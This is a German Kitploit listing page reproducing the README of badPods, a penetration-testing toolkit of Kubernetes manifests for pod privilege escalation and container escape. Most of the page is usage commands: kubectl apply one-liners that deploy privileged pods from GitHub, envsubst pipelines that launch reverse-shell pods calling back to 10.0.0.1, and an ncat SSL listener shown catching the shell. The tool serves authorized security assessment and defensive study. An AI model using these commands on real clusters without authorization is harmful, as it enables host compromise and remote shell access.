Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
badPods — Eine Sammlung von Manifesten, die Pods mit erhöhten Rechten erstellen. | Kitploit
Tools/GitHubGitHub/bishopfox/badpods
Privilege EscalationContainer-SicherheitExploitationPenetrationstestsCloud-SicherheitFehlkonfigurationContainer-Ausbruch
GitHubbishopfox/badpods

badPods

Eine Sammlung von Manifesten, die Pods mit erhöhten Rechten erstellen.

Repository anzeigen
706118vor 7 MonatenVon Kitploit geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
Webseite

Bad Pods

Eine Sammlung von Manifests, die Pods mit unterschiedlichen erhöhten Privilegien erstellen. Demonstriert schnell die Auswirkungen, wenn sicherheitsrelevante Pod-Attribute wie hostNetwork, hostPID, hostPath, hostIPC und privileged erlaubt sind.

Weitere Hintergrundinformationen findest du in unserem Blogbeitrag: Bad Pods: Kubernetes Pod Privilege Escalation.

Inhaltsverzeichnis

  • Die Bad-Pods-Übersicht
  • Voraussetzungen
  • Organisation
  • Verwendung
    • Übergeordnetes Vorgehen
    • Verwendungsbeispiele
      • Alle acht Bad Pods aus dem geklonten lokalen Repository erstellen
      • Alle acht Bad Pods von GitHub erstellen
      • Alle acht Reverse-Shell-badPods erstellen
      • Alle acht Ressourcentypen mit dem everything-allowed-Pod erstellen
      • Einen CronJob mit dem hostNetwork-Pod erstellen
      • Ein Deployment mit dem priv-and-hostpid-Pod erstellen
      • Eine Reverse Shell mit dem privilegierten Pod erstellen
  • Danksagungen
  • Referenzen und weiterführende Literatur

Die Bad-Pods-Übersicht

Jeder Link unten enthält detaillierte Nutzungsinformationen und Empfehlungen für die Post-Exploitation.

  • Bad Pod #1: Alles erlaubt
  • Bad Pod #2: Privilegiert und hostPid
  • Bad Pod #3: Nur privilegiert
  • Bad Pod #4: Nur hostPath
  • Bad Pod #5: Nur hostPid
  • Bad Pod #6: Nur hostNetwork
  • Bad Pod #7: Nur hostIPC
  • Bad Pod #8: Nichts erlaubt

Weitere allgemeine Informationen zu Voraussetzungen, Repository-Struktur und gängigen Nutzungsmustern findest du in den folgenden Abschnitten.

Voraussetzungen

  1. Zugriff auf einen Cluster
  2. RBAC-Berechtigung, um mindestens einen der folgenden Ressourcentypen in mindestens einem Namespace zu erstellen:
    • CronJob, DeamonSet, Deployment, Job, Pod, ReplicaSet, ReplicationController, StatefulSet
  3. RBAC-Berechtigung, um in Pods exec-en zu können, oder eine Netzwerkrichtlinie, die eine Reverse-Shell von einem Pod zu dir erlaubt.
  4. Keine Durchsetzung einer Pod Security Policy oder eine Richtlinie, die das Erstellen von Pods mit einem oder mehreren sicherheitsrelevanten Attributen erlaubt

Organisation

  • 128 eigenständige, gebrauchsfertige Manifests. Warum so viele?
    • 8 Bad Pods (hostpid, hostnetwork, everything-allowed, usw.)
    • 8 Ressourcentypen, die Pods erstellen können (pod, deployment, replicaset, statefulset, usw.)
    • 2 Möglichkeiten, auf die erstellten Pods zuzugreifen (exec & Reverse-Shell)
root@kitploit:~
├── manifests
│   ├── everything-allowed
│   │   ├── cronjob
│   │   │   ├── everything-allowed-exec-cronjob.yaml
│   │   │   └── everything-allowed-revshell-cronjob.yaml
│   │   ├── daemonset
│   │   │   ├── everything-allowed-exec-daemonset.yaml
│   │   │   └── everything-allowed-revshell-daemonset.yaml
│   │   ├── deployment
│   │   │   ├── everything-allowed-exec-deployment.yaml
│   │   │   └── everything-allowed-revshell-deployment.yaml
│   │   ├── job
│   │   │   ├── everything-allowed-exec-job.yaml
│   │   │   └── everything-allowed-revshell-job.yaml
│   │   ├── pod
│   │   │   ├── everything-allowed-exec-pod.yaml
│   │   │   └── everything-allowed-revshell-pod.yaml
│   │   ├── replicaset
│   │   │   ├── everything-allowed-exec-replicaset.yaml
│   │   │   └── everything-allowed-revshell-replicaset.yaml
│   │   ├── replicationcontroller
│   │   │   ├── everything-allowed-exec-replicationcontroller.yaml
│   │   │   └── everything-allowed-revshell-replicationcontroller.yaml
│   │   └── statefulset
│   │       ├── everything-allowed-exec-statefulset.yaml
│   │       └── everything-allowed-revshell-statefulset.yaml
│   ├── hostipc
│   │   ├── cronjob
│   │   │   ├── hostipc-exec-cronjob.yaml
│   │   │   └── hostipc-revshell-cronjob.yaml
│   │   ├── daemonset
│   │   │   ├── hostipc-exec-daemonset.yaml
│   │   │   └── hostipc-revshell-daemonset.yaml
...omitted for brevity...

Es gibt acht Möglichkeiten, einen Pod zu erstellen

Wie Eviatar Gerzi (@g3rzi) in dem Beitrag Eight Ways to Create a Pod betont, gibt es 8 verschiedene Controller, die einen Pod oder eine Gruppe von Pods erstellen können. Du bist vielleicht nicht berechtigt, Pods zu erstellen, aber vielleicht kannst du einen anderen Ressourcentyp erstellen, der einen oder mehrere Pods erstellt. Für jeden badPod-Typ gibt es Manifests, die allen acht Ressourcentypen entsprechen.

Aber warte, es wird noch schlimmer! Zusätzlich zu den acht aktuellen Kubernetes-Controllern, die Pods erstellen können, gibt es Drittanbieter-Controller, die ebenfalls Pods erstellen können, wenn sie auf den Cluster angewendet werden. Halte Ausschau nach ihnen, indem du dir kubectl api-resources ansiehst.

Reverse-Shells

Obwohl es üblich ist, ist es nicht immer der Fall, dass du in Pods exec-en kannst, die du erstellen kannst. Um in solchen Situationen zu helfen, ist eine Version jedes Manifests enthalten, die Rory McCunes (@raesene) ncat-Docker-Hub-Image verwendet. Nach der Erstellung nimmt der Pod eine verschlüsselte Verbindung zu deinem Listener auf.

Verwendung

Jede Ressource im Verzeichnis manifests zielt auf ein bestimmtes Attribut oder eine Kombination von Attributen ab, die den Cluster einem Risiko aussetzen, wenn sie erlaubt sind.

Übergeordnetes Vorgehen

Option 1: Methodischer Ansatz

  1. RBAC bewerten - Ermittle, welche Ressourcentypen du erstellen kannst
  2. Admission Policy bewerten - Ermittle, welche der Bad Pods du erstellen kannst
  3. Ressourcen erstellen - Erstelle auf Basis dessen, was erlaubt ist, deine Ressourcen mit dem jeweiligen badPod-Typ und Ressourcentyp
  4. Post-Exploitation - Bewerte die im README für diesen Typ beschriebenen Post-Exploitation-Schritte
    • Alles erlaubt
    • Privilegiert und hostPid
    • Nur privilegiert
    • Nur hostPath
    • Nur hostPid
    • Nur hostNetwork
    • Nur hostIPC
    • Nichts erlaubt

Option 2: Schrotschuss-Ansatz

  1. Ressourcen erstellen - Fange einfach an, verschiedene Manifests anzuwenden, und schau, was funktioniert
    • Alle acht Bad Pods von GitHub erstellen
    • Alle acht Ressourcentypen mit dem everything-allowed-Pod erstellen
  2. Post-Exploitation - Bewerte für alle erstellten Pods die im README für diesen Typ beschriebenen Post-Exploitation-Schritte
    • Alles erlaubt
    • Privilegiert und hostPid
    • Nur privilegiert
    • Nur hostPath
    • Nur hostPid
    • Nur hostNetwork
    • Nur hostIPC
    • Nichts erlaubt

Verwendungsbeispiele

  • Alle acht Bad Pods aus dem geklonten lokalen Repository erstellen
  • Alle acht Bad Pods von GitHub erstellen
  • Alle acht Reverse-Shell-badPods erstellen
  • Alle acht Ressourcentypen mit dem everything-allowed-Pod erstellen
  • Einen CronJob mit dem hostNetwork-Pod erstellen
  • Ein Deployment mit dem priv-and-hostpid-Pod erstellen
  • Eine Reverse Shell mit dem privilegierten Pod erstellen

Alle acht Bad Pods aus dem geklonten lokalen Repository erstellen

root@kitploit:~
kubectl apply -f ./manifests/everything-allowed/pod/everything-allowed-exec-pod.yaml
kubectl apply -f ./manifests/priv-and-hostpid/pod/priv-and-hostpid-exec-pod.yaml
kubectl apply -f ./manifests/priv/pod/priv-exec-pod.yaml
kubectl apply -f ./manifests/hostpath/pod/hostpath-exec-pod.yaml
kubectl apply -f ./manifests/hostpid/pod/hostpid-exec-pod.yaml
kubectl apply -f ./manifests/hostnetwork/pod/hostnetwork-exec-pod.yaml
kubectl apply -f ./manifests/hostipc/pod/hostipc-exec-pod.yaml
kubectl apply -f ./manifests/nothing-allowed/pod/nothing-allowed-exec-pod.yaml

Alle acht Bad Pods von GitHub erstellen

root@kitploit:~
kubectl apply -f https://raw.githubusercontent.com/BishopFox/badPods/main/manifests/everything-allowed/pod/everything-allowed-exec-pod.yaml
kubectl apply -f https://raw.githubusercontent.com/BishopFox/badPods/main/manifests/priv-and-hostpid/pod/priv-and-hostpid-exec-pod.yaml
kubectl apply -f https://raw.githubusercontent.com/BishopFox/badPods/main/manifests/priv/pod/priv-exec-pod.yaml
kubectl apply -f https://raw.githubusercontent.com/BishopFox/badPods/main/manifests/hostpath/pod/hostpath-exec-pod.yaml
kubectl apply -f https://raw.githubusercontent.com/BishopFox/badPods/main/manifests/hostpid/pod/hostpid-exec-pod.yaml
kubectl apply -f https://raw.githubusercontent.com/BishopFox/badPods/main/manifests/hostnetwork/pod/hostnetwork-exec-pod.yaml
kubectl apply -f https://raw.githubusercontent.com/BishopFox/badPods/main/manifests/hostipc/pod/hostipc-exec-pod.yaml
kubectl apply -f https://raw.githubusercontent.com/BishopFox/badPods/main/manifests/nothing-allowed/pod/nothing-allowed-exec-pod.yaml

Alle acht Reverse-Shell-badPods erstellen

Um nicht jeden Pod mit deinem Host und Port bearbeiten zu müssen, kannst du Umgebungsvariablen und den Befehl envsubst verwenden. Denke daran, zuerst alle deine Listener zu starten!

root@kitploit:~
HOST="10.0.0.1" PORT="3111" envsubst < ./manifests/everything-allowed/pod/everything-allowed-revshell-pod.yaml | kubectl apply -f -
HOST="10.0.0.1" PORT="3112" envsubst < ./manifests/priv-and-hostpid/pod/priv-and-hostpid-revshell-pod.yaml | kubectl apply -f -
HOST="10.0.0.1" PORT="3113" envsubst < ./manifests/priv/pod/priv-revshell-pod.yaml | kubectl apply -f -
HOST="10.0.0.1" PORT="3114" envsubst < ./manifests/hostpath/pod/hostpath-revshell-pod.yaml | kubectl apply -f -
HOST="10.0.0.1" PORT="3115" envsubst < ./manifests/hostpid/pod/hostpid-revshell-pod.yaml  | kubectl apply -f -
HOST="10.0.0.1" PORT="3116" envsubst < ./manifests/hostnetwork/pod/hostnetwork-revshell-pod.yaml | kubectl apply -f -
HOST="10.0.0.1" PORT="3117" envsubst < ./manifests/hostipc/pod/hostipc-revshell-pod.yaml | kubectl apply -f -
HOST="10.0.0.1" PORT="3118" envsubst < ./manifests/nothing-allowed/pod/nothing-allowed-revshell-pod.yaml | kubectl apply -f -

Einen CronJob mit dem hostNetwork-Pod erstellen

root@kitploit:~
kubectl apply -f manifests/hostnetwork/cronjob/hostnetwork-exec-cronjob.yaml

Finde den erstellten Pod

root@kitploit:~
kubectl get pods | grep cronjob
 
NAME                                        READY   STATUS    RESTARTS   AGE
hostnetwork-exec-cronjob-1607351160-gm2x4   1/1     Running   0          24s

Exec in den Pod ausführen

root@kitploit:~
kubectl exec -it hostnetwork-exec-cronjob-1607351160-gm2x4 -- bash

Ein Deployment mit dem priv-and-hostpid-Pod erstellen

root@kitploit:~
kubectl apply -f manifests/priv-and-hostpid/deployment/priv-and-hostpid-exec-deployment.yaml

Finde den erstellten Pod

root@kitploit:~
kubectl get pods | grep deployment

priv-and-hostpid-exec-deployment-65dbfbf947-qwpz9   1/1     Running   0          56s
priv-and-hostpid-exec-deployment-65dbfbf947-tghqh   1/1     Running   0          56s

Exec in den Pod ausführen

root@kitploit:~
kubectl exec -it priv-and-hostpid-exec-deployment-65dbfbf947-qwpz9 -- bash

Alle acht Ressourcentypen mit dem everything-allowed-Pod erstellen

root@kitploit:~
find manifests/everything-allowed/ -name "*-exec-*.yaml" -exec kubectl apply -f {} \;

cronjob.batch/everything-allowed-exec-cronjob created
daemonset.apps/everything-allowed-exec-daemonset created
deployment.apps/everything-allowed-exec-deployment created
job.batch/everything-allowed-exec-job created
pod/everything-allowed-exec-pod created
replicaset.apps/everything-allowed-exec-replicaset created
replicationcontroller/everything-allowed-exec-replicationcontroller created
service/everything-allowed-exec-statefulset-service created
statefulset.apps/everything-allowed-exec-statefulset created

Alle erstellten Pods anzeigen

root@kitploit:~
kubectl get pods

NAME                                                  READY   STATUS    RESTARTS   AGE
everything-allowed-exec-daemonset-qbrdb               1/1     Running   0          52s
everything-allowed-exec-deployment-6cd7685786-rp65h   1/1     Running   0          51s
everything-allowed-exec-deployment-6cd7685786-m66bl   1/1     Running   0          51s
everything-allowed-exec-job-fhsbt                     1/1     Running   0          50s
everything-allowed-exec-pod                           1/1     Running   0          50s
everything-allowed-exec-replicaset-tlp8v              1/1     Running   0          49s
everything-allowed-exec-replicaset-6znbz              1/1     Running   0          49s
everything-allowed-exec-replicationcontroller-z9k8n   1/1     Running   0          48s
everything-allowed-exec-replicationcontroller-m4648   1/1     Running   0          48s
everything-allowed-exec-statefulset-0                 1/1     Running   0          47s
everything-allowed-exec-statefulset-1                 1/1     Running   0          42s

Alle everything-allowed-Ressourcen löschen

root@kitploit:~
find manifests/everything-allowed/ -name "*-exec-*.yaml" -exec kubectl delete -f {} \;

Eine Reverse Shell mit dem privilegierten Pod erstellen

Listener einrichten

root@kitploit:~
ncat --ssl -vlp 3116

Pod aus lokalem YAML erstellen, ohne ihn zu ändern, mithilfe von Umgebungsvariablen und envsubst

root@kitploit:~
HOST="10.0.0.1" PORT="3116" envsubst < ./yaml/priv/pod-priv-revshell.yaml | kubectl apply -f -

Fange die Shell

root@kitploit:~
ncat --ssl -vlp 3116
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Generating a temporary 2048-bit RSA key. Use --ssl-key and --ssl-cert to use a permanent one.
Ncat: Listening on :::3116
Ncat: Listening on 0.0.0.0:3116

Connection received on 10.0.0.162 42035

Mitwirken

Pull Requests und Issues sind willkommen.

Danksagungen

Vielen Dank an Rory McCune, Duffie Cooley, Brad Geesaman, Tabitha Sable, Ian Coldwater, Mark Manning, Eviatar Gerzi und Madhu Akula für das öffentliche Teilen so vieler Kenntnisse über offensive Kubernetes-Sicherheit.

Referenzen und weiterführende Literatur

Jeder Bad Pod hat einen eigenen Abschnitt mit Referenzen und weiterführender Literatur, aber hier sind einige allgemeinere Ressourcen, die dir helfen, deine Kubernetes-Sicherheitsbewertungen und Penetrationstest-Fähigkeiten auszubauen.

Die Neulinge - 2020

  • Container Security Site von @raesene
  • CloudSecDocs - Container Security von @lancinimarco
  • Risk8s Business: Risk Analysis of Kubernetes Clusters von @antitree
  • Kompromittierung eines Kubernetes-Clusters durch Ausnutzung von RBAC-Berechtigungen von @g3rzi - Vortrag / Folien
  • Command and KubeCTL: Praxisnahe Kubernetes-Sicherheit für Pentester von @antitree - Vortrag / Blog
  • Kubernetes Goat von @madhuakula - Repository / Leitfaden

Die Klassiker aus dem Jahr 2019

  • Secure Kubernetes - KubeCon NA 2019 CTF von @tabbysable, @petermbenjamin, @jimmesta und @BradGeesaman
  • The Most Pointless Kubernetes Command Ever von @raesene
  • Der weniger begangene Pfad: Kubernetes-Standardwerte missbrauchen von @IanColdwater und @mauilion - Vortrag / Repository
  • Understanding Docker container escapes von @disconnect3d_pl
  • A Compendium of Container Escapes von @drraid und @0x7674
  • Attacking Kubernetes through Kubelet
Tool herunterladen